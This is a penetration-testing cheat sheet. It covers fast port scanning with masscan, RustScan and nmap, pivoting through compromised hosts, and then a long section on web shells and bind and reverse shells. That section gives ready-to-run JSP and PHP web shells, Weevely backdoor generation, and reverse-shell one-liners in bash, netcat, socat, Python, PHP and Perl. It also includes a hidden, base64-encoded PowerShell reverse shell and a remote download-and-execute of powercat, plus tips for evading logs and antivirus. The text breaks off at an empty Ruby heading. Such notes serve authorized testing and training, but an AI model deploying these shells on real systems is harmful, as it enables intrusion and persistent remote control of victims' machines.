[`masscan`](https://github.com/robertdavidgraham/masscan) or [`RustScan`](https://github.com/RustScan/RustScan) (or `Unicornscan`, `ZMap`, etc.) can be used to conduct fast asynchronous and stateless ports scan on targets supporting high inbound network bandwidth. `masscan` / `RustScan`'s ports scan speed can be combined with `nmap`'s services detection probes to rapidly conduct a large network ports and services scan.

Note however that the trade-off for the speed achieved using such tools is less precision, and potentially missed open ports.

**masscan**

`masscan` uses a default rate of 100 packets/second and supports `nmap` like options.

```
# Supports nmap's XML or grepable (gnmap) output file format.

masscan --rate <10000 | RATE> --open [-oL <FILENAME.mscan> | -oX <FILENAME.xml> | -oG <FILENAME.gmap>] -p <PORT | PORT_RANGE | 0-65535> <CIDR | RANGE>
```

**RustScan**

`rustscan` uses a default rate of 3000 packets/second, which may interfere with the target host(s) operational activity, and scans all `TCP` 65535 ports.

```
rustscan [-p <PORT | PORT_RANGE | 0-65535>] -a <IP | HOST | LIST_HOSTS | CIDR | RANGE>

# Set the batch size to <BATCH_SIZE> and the timeout <TIMEOUT> milliseconds.
rustscan -b <BATCH_SIZE> -T <TIMEOUT> -a <IP | HOST | LIST_HOSTS | CIDR | RANGE>
```

### Ports and services scan with nmap

The [`nmap`](https://nmap.org/) ("Network Mapper") tool is the most popular, versatile, and robust port scanners to date. It has been actively developed for over a decade, and has numerous features beyond port scanning.

`nmap` uses raw IP packets to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics.

In addition to the classic command-line `nmap` executable, the `nmap` suite includes an advanced GUI and results viewer (`Zenmap`), a flexible data transfer, redirection, and debugging tool (`Ncat`), a utility for comparing scan results (`Ndiff`), and a packet generation and response analysis tool (`Nping`).

**Usage**

```
nmap [<SCAN_TYPE>] [<SCAN_OPTIONS>] (<IP> | <FQDN> | <CIDR> | <RANGE>)
```

**Single host scanning**

Using `nmap` to scan a single host:

```
# TCP - all ports.
nmap -v -sS -Pn -A -p- <IP/FQDN>
nmap -v -sT -Pn -A -p- <IP/FQDN>
nmap -v -sS -Pn -A -oA nmap_<FILENAME> -p- <IP/FQDN>

# UDP - Top 1000.
nmap -v -sU -Pn -sV <IP/FQDN>
nmap -v -sU -Pn -sV -oA nmap_<FILENAME> <IP/FQDN>

# NSE Script engine.
# For more information about the nmap scripts to use for a given service refer to the service note (L7/<SERVICE>).

nmap -v -sT -Pn -p <SERVICE_PORT> --script=vuln <IP/FQDN>
```

**Network scanning**

*Host Discovery*

Generate a live hosts list through a `nmap` "ping sweep":

* `ARP` ping for hosts on the same local subnet.
* `ICMP` `echo` requests and `TCP` probes on ports 80 and 443 otherwise.

```
nmap -v -sn -T4 -oG <OUTPUT_GNMAP> [<RANGE | CIDR> -iL <INPUT_FILE>]

grep "Status: Up" <OUTPUT_GNMAP> | cut -f 2 -d ' ' > <OUTPUT_IP_FILE>
```

*Port Discovery*

```
# Most common top 100 ports.
nmap -sS -T4 -Pn -A -oG <TopTCP | OUTPUT_FILE> -iL <HOSTS_FILE>
nmap -sU -T4 -Pn -A -oN <TopUDP | OUTPUT_FILE> -iL <HOSTS_FILE>

# Full port scans (UDP scans are very slow).
nmap -sS -T4 -Pn -A -p- -oN <FullTCP | OUTPUT_FILE> -iL <HOSTS_FILE>
nmap -sU -T4 -Pn -A -p- -oN <FullUDP | OUTPUT_FILE> -iL <HOSTS_FILE>
```

*Print results*

```
grep "open" FullTCP | cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' | xargs | sed 's/ /,/g'| awk '{print "T:"$0}'
grep "open" FullUDP | cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' | xargs | sed 's/ /,/g'| awk '{print "U:"$0}'
```

*Specific service vulnerabilities*

```
nmap -v -sT -Pn -p <SERVICE_PORT> -oA <FILEOUT> --script=vuln <RANGE | CIDR>
nmap -v -sT -Pn -p <SERVICE_PORT> -oA <FILEOUT> --script=vuln -iL <HOSTS_FILE>
```

**Scan Types**

`-sS`: `TCP` `SYN` scan.

`A SYN` packet is sent. In response, a `SYN/ACK` indicates the port is listening (open), while a `RST` (reset) packet is indicative of a non-listener. No response or an `ICMP` unreachable error means the port is filtered.

`-sT`: `TCP` connect scan.

Does not require admin privilege. Instead of writing raw packets as most other scan types do, `nmap` asks the underlying operating system to establish a connection with the target machine. Works the same way as the `TCP` `SYN` scan, only closing the `TCP` handshake.

`-sU`: `UDP` scan.

Can be combined with a `TCP` scan. A `UDP` packet is sent. Open and filtered ports rarely send any response. If an `ICMP` port unreachable error (type 3, code 3) is returned, the port is closed.

`-sN`, `-sF`, `-sX`: `TCP` `NULL`, `FIN`, and `Xmas` scans.

* NULL scan: Does not set any bits (`TCP` flag header is 0).
* `FIN` scan: Sets just the `TCP` `FIN` bit.
* Xmas scan: Sets the `FIN`, `PSH`, and `URG` flags, "lighting the packet up like a Christmas tree."

If the system scanned is RFC compliant, a `RST` packet will be received if the port is closed and no response at all if the port is open. The port is marked filtered if an `ICMP` unreachable error (`type 3`, code 0, 1, 2, 3, 9, 10, or 13) is received. The key advantage to these scan types is that they might sneak through certain non-stateful firewalls and packet filtering routers.

`-sI <REMOTE_ZOMBIE_HOST>`: idle / zombie scan.

Channel the ports scan through a non controlled remote host. Reference: `https://nmap.org/book/idlescan.html`.

**Target Specification**

`nmap` supports multiple way to specify a target host, either as an input command line parameter or through a file:

* IP address or hostname (example: 192.168.15.15 / [www.google.com](http://www.google.com)).
* IP range (example: 192.168.0.\*).
* CIDR-style subnet (example: 192.168.0.0/24).

**Common options**

* `-p <PORT | PORTS | PORT_RANGE>`: scan specified ports.

Individual port numbers, comma separated list of ports or hyphen separated range can be used. When scanning a combination of protocols, a particular protocol can be specified by preceding the port numbers by `T:` for `TCP`, `U:` for `UDP`.

Example: `-p U:53,111,137, T:21-25,80,139,443,8080`<br>

* `-sn`: no port scan (ping scan only).

Instructs `nmap` not to do a port scan after host discovery, and only print out the available hosts that responded to the host discovery probes.<br>

* `-Pn`: skip the host discovery phase and assume every hosts is up.

By default, `nmap` use a ping scan to determine if the host is up before starting the specified scan. If specified, this flag tells `nmap` to skip the host discovery phase and directly start the specified scan.<br>

* `-n`: skip `DNS` resolution.

Instructs `nmap` to never do reverse `DNS` resolution on the active IP addresses it may find. Can reduce scanning times.<br>

* `--dns-servers <NAMESERVER>`.

Instructs `nmap` to use the specified nameserver for `DNS` resolution.<br>

* `-PR`: `ARP` ping.

Instructs `nmap` to use `ARP` requests to conduct host discovery on `LA-T4N` network.<br>

-`-sV`: enables version probing.

&#x20; Instructs `nmap` to try to determine the service protocol, the application name, the version number, hostname, device type and OS family of the target.<br>

* `-O`: enables OS detection.

Instructs `nmap` to try to determine the OS and OS details of the target.<br>

-`-sC`: enables default script scanning.

Instructs `nmap` to perform enumeration using its `NSE` script engine and a default set of scripts.<br>

* `-A`: "aggressive" scan options (equivalent to `-sV`, `-O`, and `-sC`).

Tells `nmap` to perform OS detection (`-O`), version scanning (`-sV`), script scanning (`-sC`) and traceroute (`--traceroute`).<br>

* `-T <paranoid/0 | sneaky/1 | polite/2 | normal/3 | aggressive/4 | insane/5>`: timing template.

Instructs `nmap` to use the specified scan / timing template: - `paranoid/0` and `sneaky/1` are for `IDS` evasion and are incredibly slow. - `polite/2` mode slows down the scan to use less bandwidth and resources from the targeted hosts. A `polite` scan may be 10 times slower than a `normal` scan. - `normal/3` mode is the default scan mode.\
\- `aggressive/4` mode speeds scans up by making the assumption that the scan is conducted on a reasonably fast and reliable network. - `insane/5` mode assumes that the scan is conducted on an extraordinarily fast network or sacrifices some accuracy for speed.

**nmap Scripting Engine (NSE)**

`nmap`'s `NSE` scripts are categorized in a list of categories they belong to. The following categories are currently defined:

* `auth`
* `broadcast`
* `brute`
* `default`
* `discovery`
* `dos`
* `exploit`
* `external`
* `fuzzer`
* `intrusive`
* `malware`
* `safe`
* `version`
* `vuln`

`nmap`'s `NSE` usage:

```
# Updates the script database (found in scripts/script.db).
nmap --script-updatedb

# Runs the specified script, comma-separated list of scripts, script category, or scripts in the specified directory.
nmap [...] --script <SCRIPT_NAME> | <SCRIPT_CATEGORY> | <DIRECTORY> | <EXPRESSION> | [,...]>

# Specifies arguments for the given script.
# Arguments are a comma-separated list of name=value pairs. Names and values may be strings not containing whitespace or the characters '{', '}', '=', or ','. To include one of these characters in a string, the string must be enclosed in single or double quotes.
nmap [...] --script <SCRIPT> --script-args <n1=<v1>,<n2>={<n3>=<v3>},<n4>={<v4>,<v5>}

# Loads the arguments from the specified file. Any arguments on the command line supersede ones in the file.
nmap [...] --script <SCRIPT> [--script-args <CLI_ARGUMENTS>] --script-args-file <FILE>

# Shows the help and usage for the specified scripts.
# The online NSE Documentation Portal at https://nmap.org/nsedoc/ lists as well the arguments that each script accepts, including any library arguments that may influence the script.
nmap --script-help <SCRIPT_NAME> | <SCRIPT_CATEGORY> | <DIRECTORY> | <EXPRESSION> | [,...]>

# Runs all scripts whose name starts with http-, such as http-auth and http-open-proxy.
nmap --script 'http-*'

# Runs every script except for those in the intrusive category.
nmap --script "not intrusive"

# Runs all scripts that are in the default category or the safe category.
# Equivalent to nmap --script "default,safe".
nmap --script "default or safe"
```

**nmap output parsing**

*nmap-parse-output*

The [`nmap-parse-output`](https://github.com/ernw/nmap-parse-output) utility can be used to parse and extract information from `nmap` outputs (in the `xml` format).

```
# Extracts hosts that have at least one open port.
nmap-parse-output <NMAP_XML_SCAN_RESULT> hosts

# Extracts all open ports in the following format: "<IP>:<PORT> <TCP | UDP>".
nmap-parse-output <NMAP_XML_SCAN_RESULT> host-ports
nmap-parse-output <NMAP_XML_SCAN_RESULT> host-ports | cut -d " " -f 1

# Extract a list of uniquely filtered services identified.
nmap-parse-output <NMAP_XML_SCAN_RESULT> service-names

# Extract hosts with the specified service exposed, in the following format: "<IP>:<PORT>".
nmap-parse-output <NMAP_XML_SCAN_RESULT> service <SERVICE_NAME>

# Extract hosts with an exposed http service, in the following format: "<http | https>://<IP>:<PORT>".
# The following services are currently identified as being http services: http, https, http-alt, https-alt, http-proxy, sip, rtsp, soap, vnc-http, caldav.
nmap-parse-output <NMAP_XML_SCAN_RESULT> http-ports
```

*NmaptoCSV*

The [`NmaptoCSV`](https://github.com/maaaaz/nmaptocsv) Python script can be used to convert `nmap` outputs (regular, `GNMAP`, or `XML` formats) to the `CSV` format.

```
nmaptocsv [-d ","] -i <NMAP_REGULAR_OUPUT | NMAP_GNMAP_OUTPUT> -o <CSV_OUTPUT>

nmaptocsv [-d ","] -x <NMAP_XML_OUPUT> -o <CSV_OUTPUT>
```

### Pivot scans through compromised hosts

**Netcat**

As described above, `netcat` can be used to conduct a basic ports scan from a compromised host.

**Static nmap**

Prebuild static and standalone binaries of `nmap` are available on the following GitHub repository. `nmap` is compiled from the official GitHub repository sources automatically with `GitHub Actions`.

```
https://github.com/ernw/static-toolbox
```

The [`run-nmap.sh`](https://github.com/ernw/static-toolbox/blob/master/package/targets/nmap/run-nmap.ps1) or [`run-nmap.ps1`](https://github.com/ernw/static-toolbox/blob/master/package/targets/nmap/run-nmap.sh) scripts can be used to run the prebuild `nmap` on a compromised host without external dependencies. Additionally, the binary comes with the various `NSE` scripts and modules necessary to conduct version fingerprinting.

```
./run-nmap.sh <NMAP_OPTIONS>

.\run-nmap.ps1 <NMAP_OPTIONS>
```

**Proychains**

`Proxychains` (or [`ProxyChains-NG`](https://github.com/rofl0r/proxychains-ng)) can be used to conduct ports scans through a proxy (supported proxies types: `http`, `socks4` and `socks5`).

Note that a few restrictions apply whenever conducting a ports scan through a proxy:

* `HTTP`/`socks4` can only be used to conduct `TCP` scan.
* `ICMP` packets can not pass through the proxy (`nmap`'s `-Pn` option).
* `RAW` packets cannot be redirected through `proxychains` as it is designed to relay full `TCP` connections only (`nmap`'s `-sT` option).
* `DNS` resolutions should not be conducted through a proxy if confidentially is of importance and to reduce scan time (`nmap`'s `-n`).
* OS fingerprinting based on features of the IP stack may not work properly.

For example, `nmap` can be used to conduct a ports scan and services discovery through a proxy using `proxychains`:

```
The proxychains configuration file (/etc/proxychains.conf) should first be updated to specify the proxy to use.
<http | socks4 | socks5> <IP> <PORT>

# Start the scan using proxychains.
proxychains nmap -v -n -Pn -sT -sV [...]
```

**Metasploit**

The following [`Metasploit`](https://www.metasploit.com/) modules can be used to conduct a ports scan:

* `auxiliary/scanner/portscan/syn`
* `auxiliary/scanner/portscan/tcp`
* `auxiliary/scanner/portscan/ack`
* `auxiliary/scanner/portscan/ftpbounce`
* `auxiliary/scanner/portscan/xmas`

The port range default to `1-10000`. To scan all possible ports the `0-65535` ports range should be specified (`set PORTS 0-65535`).

The modules can be used directly or through a `meterpreter` session to use the compromised host as a pivot.

```
# Direct ports scan from the current host.
msf> use auxiliary/scanner/portscan/tcp

# Pivoting through a meterpreter session.
meterpreter> run auxiliary/scanner/portscan/syn RHOSTS=<IP | CIDR> [PORTS=<PORT | PORTS_RANGE>]
meterpreter> run auxiliary/scanner/portscan/tcp RHOSTS=<IP | CIDR> [PORTS=<PORT | PORTS_RANGE>]
```

### Local netstat execution trough remote code execution

A remote execution utility, such as a `PsExec`-like tool or [`CrackMapExec`](https://github.com/byt3bl33d3r/CrackMapExec), can be used to retrieve the locally exposed services on a target through `netstat` if valid credentials could be obtained for remote code execution.

For more information about the tools usage refer to the `[Windows] Lateral movements` note for more information.

```
# netstat's -b options requires local administrator privileges (which are also required by CrackMapExec for remote code execution over the SMB protocol).

crackmapexec [...] -x 'netstat -anob'
crackmapexec [...] -x 'netstat -anob | find "<PORT>"'
```

### Graphical ports scanning utilities

**Advanced port scanner**

[`Advanced port scanner`](https://www.advanced-port-scanner.com/fr/) is a Windows GUI multithreaded ports and services scanner that can be both installed and used in standalone mode.

The tool provides easy access to the main identified services (`HTTP`, `HTTPS`, `SSH`, `RDP`, `SMB`, etc.) by starting the associated Windows built-ins.

**netscan**

[`SoftPerfect`'s `NetScan`](https://www.softperfect.com/products/networkscanner/) is an advanced and lightweight Windows GUI network scanner utility, available as a standalone binary. `NetScan` supports the `Windows 7` through `Windows 10`, and `Windows Server 2008 R2` through `Windows Server 2019` operating systems.

Note that the free edition of `NetScan` can only be used to display a maximum of 10 devices.

In addition to IPv4 and IPv6 hosts discovery and ports scanning, `NetScan` provides the following key features:

* Discovery of network shares and integration with Windows built-in network share explorer and drive mapping functionalities.
* Sending of `Wake-on-LAN (WoL)` messages.
* Discovery of `Dynamic Host Configuration Protocol (DHCP)` servers.
* Automatic discovery of network interface IP range.
* Remote execution of `SSH`, `PowerShell` and `VBScript` command execution.

Cracked commercial editions of `NetScan` have been observed to be used in the wild by malicious actors, notably in ransomware attack scenarios, with the deployment of `NetScan` standalone binary on a compromised system to discover and map remote `C$` network shares.


# Bind / reverse shells

The following note details the procedure and tools that can be used to leverage a remote code execution into a fully `TTY` shell.

For Windows credentials (password or hashes) reuse and direct lateral movements, refer to the `[Windows] Lateral movements` note.

### Miscellaneous

The [`rlwrap`](https://github.com/hanslub42/rlwrap) utility runs the specified command and intercept further input to provide line editing and history functionalities. It is useful for the reverse shell one-liners and tools that do not natively implement those features (such as `netcat` for example) and for which use of the arrows keyboard keys result in `^[[C` / `^[[D` / `^[[A` / `^[[B`.

```bash
rlwrap <COMMAND> [<ARGUMENTS>]
```

### Detect firewall filtering

A firewall may be configured on the targeted system to block inbound or outbound connection (`TCP`, `UDP`, `ICMP`). If `TCP` / `UDP` reverse shell attempts are failing but `ICMP` packets are received from the target, a firewall may be in deployed.

**Outgoing traffic blocking**

`tcpdump` can be used to listen to `ICMP` traffic received on host:

```bash
tcpdump -i <INTERFACE> icmp
```

On target, make ICMP `echo` requests using ping in **background** to prevent shell lose in case of blocked ping:

```bash
ping -c 2 <IP> &

python -c 'import os;  os.popen("ping -c 2 <IP> &");"
python -c 'import os;  os.popen("ping -n 2 <IP> &");"

# Python in a pyjail
[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('ping -c 2 <IP>').read()
[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('ping -n 2 <IP>').read()
```

**Windows firewall rules**

The Windows firewall rules configured can be listed using the `netsh` `DOS` utility and the `Get-NetFirewallRule` `PowerShell` cmdlet.

By default, three separate listings are present: `Domain profile` settings, `private profile` settings and `public profile` settings. A different profile can be applied to each network adapter. The `Domain profile` is applied if the machine is joined to an Active Directory domain while the `private profile` is applied if the network is identified by the user as a private network. Otherwise and by default, the `public profile` is applied.

Windows blocks inbound connections and allows outbound connections for all profiles by default.

```bash
# Show the profile applied to each network adapter
netsh advfirewall monitor show currentprofile

# Windows Firewall state for all profile (Public / Domain / Private)
netsh advfirewall show allprofiles
Get-NetFirewallProfile

# Show all rules for the given profile
netsh advfirewall firewall show rule profile=<public | private | domain | any | ...> name=all
Get-NetFirewallProfile -Name <Public | Private | Domain | * | ...> | Get-NetFirewallRule
```

### Web shells

A web shell is a script written in the supported language of the targeted web server to be uploaded and executed by the web service. It provides a mean to execute system commands on the target.

A collection of web shells for various languages [is accessible on `GitHub`](https://github.com/xl7dev/WebShell).

`Kali Linux` also comes with a *smaller* collection of web shell, located in:

```bash
/usr/share/webshells
```

#### JSP

**Basic**

`JSP` one-liner without output to execute system commands through GET parameters:

```bash
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
```

**SecurityRiskAdvisors'**

The `SecurityRiskAdvisors`' `cmd.jsp` web shell provides command execution and file upload capability while being as small and widely compatible as possible.

Once uploaded on the target system, load the following `JavaScript` code using the browser console to activate the user interface:

```bash
javascript:{window.localStorage.embed=window.atob("ZG9jdW1lbnQud3JpdGUoIjxwPiIpOw0KdmFyIGh0bWwgPSAiPGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSdjbWQuanNwJz5cDQo8aW5wdXQgbmFtZT0nYycgdHlwZT10ZXh0PjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUnVuJz5cDQo8L2Zvcm0+PGhyPlwNCjxmb3JtIGFjdGlvbj0nY21kLmpzcCcgbWV0aG9kPXBvc3Q+XA0KVXBsb2FkIGRpcjogPGlucHV0IG5hbWU9J2EnIHR5cGU9dGV4dCB2YWx1ZT0nLic+PGJyPlwNClNlbGVjdCBhIGZpbGUgdG8gdXBsb2FkOiA8aW5wdXQgbmFtZT0nbicgdHlwZT0nZmlsZScgaWQ9J2YnPlwNCjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2InIGlkPSdiJz5cDQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJz5cDQo8L2Zvcm0+PGhyPiI7DQp2YXIgZGl2ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7DQpkaXYuaW5uZXJIVE1MID0gaHRtbDsNCmRvY3VtZW50LmJvZHkuaW5zZXJ0QmVmb3JlKGRpdiwgZG9jdW1lbnQuYm9keS5maXJzdENoaWxkKTsNCg0KdmFyIGhhbmRsZUZpbGVTZWxlY3QgPSBmdW5jdGlvbihldnQpIHsNCiAgICB2YXIgZmlsZXMgPSBldnQudGFyZ2V0LmZpbGVzOw0KICAgIHZhciBmaWxlID0gZmlsZXNbMF07DQoNCiAgICBpZiAoZmlsZXMgJiYgZmlsZSkgew0KICAgICAgICB2YXIgcmVhZGVyID0gbmV3IEZpbGVSZWFkZXIoKTsNCg0KICAgICAgICByZWFkZXIub25sb2FkID0gZnVuY3Rpb24ocmVhZGVyRXZ0KSB7DQogICAgICAgICAgICB2YXIgYmluYXJ5U3RyaW5nID0gcmVhZGVyRXZ0LnRhcmdldC5yZXN1bHQ7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYicpLnZhbHVlID0gYnRvYShiaW5hcnlTdHJpbmcpOw0KICAgICAgICB9Ow0KDQogICAgICAgIHJlYWRlci5yZWFkQXNCaW5hcnlTdHJpbmcoZmlsZSk7DQogICAgfQ0KfTsNCmlmICh3aW5kb3cuRmlsZSAmJiB3aW5kb3cuRmlsZVJlYWRlciAmJiB3aW5kb3cuRmlsZUxpc3QgJiYgd2luZG93LkJsb2IpIHsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZicpLmFkZEV2ZW50TGlzdGVuZXIoJ2NoYW5nZScsIGhhbmRsZUZpbGVTZWxlY3QsIGZhbHNlKTsNCn0gZWxzZSB7DQogICAgYWxlcnQoJ1RoZSBGaWxlIEFQSXMgYXJlIG5vdCBmdWxseSBzdXBwb3J0ZWQgaW4gdGhpcyBicm93c2VyLicpOw0KfQ==");eval(window.localStorage.embed);};void(0);
```

#### PHP

**Basic**

Basic PHP code to execute system commands through GET parameters:

```
<?php if($_GET['cmd']) { system($_GET['cmd']); } ?>
<?php if($_GET['cmd']) { exec($_GET['cmd'],$array); print_r($array); } ?>
<?php if($_GET['cmd']) { echo shell_exec($_GET['cmd']); } ?>
<?php if($_GET['cmd']) { echo passsthru($_GET['cmd']); } ?>
<?php if($_GET['cmd']) { preg_replace('/.*/e', $_GET['cmd'], ''); } ?>
```

**Stealthy**

Instead of passing the commands through the URL, which would appear in logs, heades parameters can be used:

```php
$_SERVER['HTTP_ACCEPT_LANGUAGE']
$_SERVER['HTTP_USER_AGENT']
```

**Obfuscation**

The following functions can be used to obfuscate the code.

```php
eval()
assert()
base64()
gzdeflate()
str_rot13()
```

**phpbash**

phpbash is a simple standalone, semi-interactive web shell. Upload the phpbash.php or phpbash.min.php file on the target and access it with any Javascript-enabled web browser to achieve RCE.

<https://github.com/Arrexel/phpbash>

**Weevely**

Weevely is a password protected web shell designed for post-exploitation purposes that can be extended over the network at runtime.

Upload weevely PHP agent to a target web server to get remote shell access to it. It has more than 30 modules to assist administrative tasks, maintain access, provide situational awareness, elevate privileges, and spread into the target network. The agent is a small, polymorphic PHP script hardly detected by AV and the communication protocol is obfuscated within HTTP requests.

```bash
# Generate the backdoor agent
./weevely.py generate mypassword agent.php
Generated backdoor with password 'mypassword' in 'agent.php' of 671 byte size.

# Upload the generated agent under the target web folder.
# Make sure that the agent URL is reachable from your position and that it is correctly executed by the web server as PHP code.

# Connect to the agent
./weevely.py http://<TARGET>/agent.php mypassword
weevely>
```

#### CFM

Among others, the ColdFusion Markup Language `cfexec.cfm` web shell, located on Kali by default at `/usr/share/webshells/cfm/cfexec.cfm`, can be used to execute system commands on a web server supporting the CFM file format.

To execute `CMD` command on `Windows`, the parameters are as follow:

```bash
# Path to the cmd binary
Command: c:\windows\system32\cmd.exe

# Command to execute
Options: /c <COMMAND>
```

### Bind Shells

**\[Linux / Windows] Netcat**

```bash
# Linux
# If nc's "-e" option is available on the targeted system:
nc [-4] -lvnp <PORT> -e /bin/sh &
nc [-4] -lvnp <PORT> -e /bin/sh &

# Windows
# The ncat.exe from https://github.com/andrew-d/static-binaries/blob/master/binaries/windows/x86/ncat.exe or https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip offer a better compatibility across Windows systems
nc.exe -lvnp <PORT> -e cmd.exe
nc64.exe -lvnp <PORT> -e cmd.exe
```

### Reverse Shells

#### Listener on host

**\[Linux / Windows] Basic listeners**

```bash
# TCP
nc -lvnp <PORT>
rlwrap nc -lvnp <PORT>

# UDP
nc -lvnpu <PORT>
rlwrap nc -lvnpu <PORT>

# With SSL / TLS support
ncat --ssl -vv -l -p <PORT>

openssl req -x509 -newkey rsa:4096 -keyout tmpkey.pem -out tmpcert.pem -days 365 -nodes
openssl s_server -quiet -key tmpkey.pem -cert tmpcert.pem -port <PORT>
```

**\[Windows] PowerCat**

```bash
powercat -l -p 443 -ep
powercat -l -p 443 -e <BINARY>
```

**\[Linux / Windows] xct's xc**

```bash
xc -l -p <PORT>
rlwrap xc -l -p <PORT>

xc.exe -l -p <PORT>
```

**\[Linux / Windows] Python ICMP**

```bash
python icmpsh_m.py <HOST_IP> <TARGET_IP>
```

#### One-liners reverse shell

**\[Linux] sh / bash**

```bash
# TCP (requires a TCP listener).
# In order to use the "/dev/tcp" device file, the current shell must be bash (and not sh or dash).
# Use bash -c "<REVERSE_ONELINER>" if the current shell is sh or dash.
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
exec 5<>/dev/tcp/<IP>/<PORT>;cat <&5 | while read line; do $line 2>&5 >&5; done
exec /bin/sh 0</dev/tcp/<IP>/<PORT> 1>&0 2>&0
0<&196;exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196

# UDP (requires an UDP listener).
sh -i >& /dev/udp/<IP>/<PORT> 0>&1
```

**\[Linux / Windows] Netcat**

```bash
# Linux
# If nc's "-e" option is available on the targeted system:
nc -e /bin/sh <IP> <PORT> &

# Otherwise:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PORT> >/tmp/f

# Windows
# The ncat.exe from https://github.com/andrew-d/static-binaries/blob/master/binaries/windows/x86/ncat.exe or https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip offer a better compatibility across Windows systems
nc.exe -e cmd.exe <IP> <PORT>
nc64.exe -e cmd.exe <IP> <PORT>
```

**\[Linux] Socat**

`socat` is a command line utility that establishes two bidirectional byte streams and transfers data between them, often considered as a more advanced version of `netcat`. It can for example have multiple clients listening on a same port or reuse a connection. It is rarely present by default in Linux distributions.

```bash
socat tcp-connect:<IP>:<PORT> exec:"bash -li",pty,stderr,setsid,sigint,sane
socat tcp-connect:<IP>:<PORT> exec:"/bin/bash -li",pty,stderr,setsid,sigint,sane
socat tcp-connect:<IP>:<PORT> exec:"sh -li",pty,stderr,setsid,sigint,sane
socat tcp-connect:<IP>:<PORT> exec:"/bin/sh -li",pty,stderr,setsid,sigint,sane
```

**\[Windows] PowerShell**

*Standalone one-liner*

Starting PowerShell with the straight reverse shell command, `powershell -c <COMMAND>`, may results in error. Encoding and executing the command in `base64` oftentimes proves to be more successful.

```bash
# Conversion to base64 in PowerShell.
# Can be executed on attacking system, to  encode in base64 the reverse shell script.
$cmd = '$client = New-Object System.Net.Sockets.TCPClient("<IP>",<PORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

$Bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$EncodedCmd =[Convert]::ToBase64String($Bytes)
$EncodedCmd

# Conversion to base64 in bash.
echo "<COMMAND>" | iconv --to-code UTF-16LE | base64 -w 0

powershell -NoP -NonI -W Hidden -Exec Bypass -Enc <ENCODED_BASE64_CMD>
```

*PowerCat*

`powercat` is a PowerShell function, for PowerShell Version 2 and later, providing the same functionalities as `netcat`.

`powercat` can be used to transfer data and execute commands over TCP, UDP and DNS. It can be used to execute a local executable, such as `cmd`, `powershell` directly, or a custom payload.

```bash
As with any PowerShell function, powercat has to be loaded in memory to be executed
. .\powercat.ps1
IEX (New-Object System.Net.Webclient).DownloadString('http://<WEBSERVER_IP>:<WEBSERVER_PORT>/powercat.ps1')

# -ep: execute PowerShell
# -e: or execute the specified binary
powercat -c <IP> -p <PORT> -ep
powercat -c <IP> -p <PORT> -e <BINARY>

# Over UDP
powercat -u -c <IP> -p <PORT> -ep

# Over DNS
powercat -c <DNS_SERVER_IP> -p <DNS_SERVER_PORT> -dns <DNS_HOSTNAME> -ep
```

**Python**

```python
# Linux
python -c 'import os;  os.popen("nc -e /bin/sh <IP> <PORT> &");'
python -c 'import os;  os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PORT> >/tmp/f &");'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# From a PyJail
[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('<REVERSE_SHELL>').read()
```

**PHP**

```bash
# Linux
# This code assumes that the TCP connection uses file descriptor 3.
# If it doesn’t work, try 4, 5, 6…
php -r '$sock=fsockopen("<IP>",<PORT>);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$s=fsockopen("<IP>",<PORT>);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$s=fsockopen("<IP>",<PORT>);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$s=fsockopen("<IP>",<PORT>);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$s=fsockopen("<IP>",<PORT>);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
```

**Perl**

```perl
perl -e 'use Socket;$i="<IP>";$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

**Ruby**

```ruby
